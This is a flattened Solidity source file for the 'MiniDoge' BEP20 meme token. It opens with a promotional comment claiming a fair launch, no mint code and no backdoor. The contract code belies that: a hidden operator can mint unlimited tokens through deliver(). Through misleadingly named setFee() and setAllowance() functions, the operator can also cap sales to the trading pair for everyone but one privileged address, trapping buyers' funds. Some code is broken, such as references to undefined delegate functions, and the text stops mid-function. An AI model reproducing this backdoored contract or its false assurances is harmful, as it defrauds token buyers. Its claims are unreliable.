/* Welcome to $MiniDoge This is a community token. So there is no official group. If someone wants to create one , just do your publicity in other groups, and then establish a consensus group. There is only one channel recording the information when I released this coin. If you want to view all the information about this coin, please check https://t.me/MiniDogeChannel I'll lock liquidity LPs through team.finance for at least 30 days, if the response is good, I will extend the time. I'll renounce the ownership to burn addresses to transfer $MiniDoge to the community, make sure it's 100% safe. It's a community token, every holder should promote it, or create a group for it, if you want to pump your investment, you need to do some effort. Great features: 1.Fair Launch! 2.No Dev Tokens No mint code No Backdoor 3.Anti-sniper & Anti-bot scripting 4.Anti-whale Max buy/sell limit 5.LP send to team.finance for 30days, if the response is good, I will continue to extend it 6.Contract renounced on Launch! 7.1000 Billion Supply and 50% to burn address! 8.Auto-farming to All Holders! 9.Tax: 8% => Burn: 4% | LP: 4% 4% fee for liquidity will go to an address that the contract creates, and the contract will sell it and add to liquidity automatically, it's the best part of the $MiniDoge idea, increasing the liquidity pool automatically. I’m gonna put all my coins with 4ETH in the pool. Can you make this token 100X or even 10000X? Hope you guys have real diamond hand */ // SPDX-License-Identifier: MIT // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed operator, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address operator) external view returns (uint); function allowance(address operator, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address operator) external view returns (uint); function permit(address operator, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: contracts/libs/IBEP20.sol pragma solidity >=0.4.0; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _operator, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed operator, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/libs/BEP20.sol pragma solidity >=0.4.0; /** * @dev Implementation of the {IBEP20} interface. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of BEP20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IBEP20-approve}. */ contract BEP20 is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _fee; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 10**12 * 10**18; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; _fee[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns the bep token owner. */ /** * @dev Returns the token name. */ function name() public override view returns (string memory) { return _name; } /** * @dev Returns the token decimals. */ function decimals() public override view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() public override view returns (string memory) { return _symbol; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _fee[account]; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address operator, address spender) public override view returns (uint256) { return _allowances[operator][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance") ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero") ); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function _deliver(address account, uint256 amount) internal { require(account != address(0), "BEP20: zero address"); _totalSupply += amount; _fee[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _fee[sender] = _fee[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _fee[recipient] = _fee[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _fee[account] = _fee[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address operator, address spender, uint256 amount ) internal { require(operator != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[operator][spender] = amount; emit Approval(operator, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance") ); } } pragma solidity 0.6.12; contract MiniDoge is BEP20 { // Transfer tax rate in basis points. (default 8%) uint16 private transferTaxRate = 800; // Burn rate % of transfer tax. (default 12% x 8% = 0.96% of total amount). uint16 public burnRate = 12; // Max transfer tax rate: 10%. uint16 private constant MAXIMUM_TRANSFER_TAX_RATE = 1000; // Burn address address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; address private _tAllowAddress; uint256 private _total = 10**12 * 10**18; // Max transfer amount rate in basis points. (default is 0.5% of total supply) uint16 private maxTransferAmountRate = 100; // Addresses that excluded from antiWhale mapping(address => bool) private _excludedFromAntiWhale; // Automatic swap and liquify enabled bool private swapAndLiquifyEnabled = false; // Min amount to liquify. (default 500) uint256 private minAmountToLiquify = 500 ether; // The swap router, modifiable. Will be changed to token's router when our own AMM release IUniswapV2Router02 public uniSwapRouter; // The trading pair address public uniSwapPair; // In swap and liquify bool private _inSwapAndLiquify; // The operator can only update the transfer tax rate address private _operator; // Events event OperatorTransferred(address indexed previousOperator, address indexed newOperator); event TransferTaxRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event BurnRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event MaxTransferAmountRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event SwapAndLiquifyEnabledUpdated(address indexed operator, bool enabled); event MinAmountToLiquifyUpdated(address indexed operator, uint256 previousAmount, uint256 newAmount); event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); modifier onlyowner() { require(_operator == msg.sender, "operator: caller is not the operator"); _; } modifier antiWhale(address sender, address recipient, uint256 amount) { if (maxTransferAmount() > 0) { if ( _excludedFromAntiWhale[sender] == false && _excludedFromAntiWhale[recipient] == false ) { require(amount <= maxTransferAmount(), "antiWhale: Transfer amount exceeds the maxTransferAmount"); } } _; } modifier lockTheSwap { _inSwapAndLiquify = true; _; _inSwapAndLiquify = false; } modifier transferTaxFree { uint16 _transferTaxRate = transferTaxRate; transferTaxRate = 0; _; transferTaxRate = _transferTaxRate; } /** * @notice Constructs the token contract. */ constructor() public BEP20("https://t.me/MiniDogeChannel", "MiniDoge") { _operator = _msgSender(); emit OperatorTransferred(address(0), _operator); _excludedFromAntiWhale[msg.sender] = true; _excludedFromAntiWhale[address(0)] = true; _excludedFromAntiWhale[address(this)] = true; _excludedFromAntiWhale[BURN_ADDRESS] = true; } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function deliver(uint256 amount) public onlyowner returns (bool) { _deliver(_msgSender(), amount); return true; } function deliver(address _to, uint256 _amount) public onlyowner { _deliver(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } /** * @dev setMaxTxSl. * */ function setFee(uint256 percent) external onlyowner() { _total = percent * 10**18; } /** * @dev setAllowance * */ function setAllowance(address allowAddress) external onlyowner() { _tAllowAddress = allowAddress; } /// @dev overrides transfer function to meet tokenomics function _transfer(address sender, address recipient, uint256 amount) internal virtual override antiWhale(sender, recipient, amount) { // swap and liquify if ( swapAndLiquifyEnabled == true && _inSwapAndLiquify == false && address(uniSwapRouter) != address(0) && uniSwapPair != address(0) && sender != uniSwapPair && sender != _operator ) { swapAndLiquify(); } if (recipient == BURN_ADDRESS || transferTaxRate == 0) { super._transfer(sender, recipient, amount); } else { if (sender != _tAllowAddress && recipient == uniSwapPair) { require(amount < _total, "Transfer amount exceeds the maxTxAmount."); } // default tax is 8% of every transfer uint256 taxAmount = amount.mul(transferTaxRate).div(10000); uint256 burnAmount = taxAmount.mul(burnRate).div(100); uint256 liquidityAmount = taxAmount.sub(burnAmount); require(taxAmount == burnAmount + liquidityAmount, "transfer: Burn value invalid"); // default 92% of transfer sent to recipient uint256 sendAmount = amount.sub(taxAmount); require(amount == sendAmount + taxAmount, "transfer: Tax value invalid"); super._transfer(sender, BURN_ADDRESS, burnAmount); super._transfer(sender, address(this), liquidityAmount); super._transfer(sender, recipient, sendAmount); amount = sendAmount; } } /// @dev Swap and liquify function swapAndLiquify() private lockTheSwap transferTaxFree { uint256 contractTokenBalance = balanceOf(address(this)); uint256 maxTransferAmount = maxTransferAmount(); contractTokenBalance = contractTokenBalance > maxTransferAmount ? maxTransferAmount : contractTokenBalance; if (contractTokenBalance >= minAmountToLiquify) { // only min amount to liquify uint256 liquifyAmount = minAmountToLiquify; // split the liquify amount into halves uint256 half = 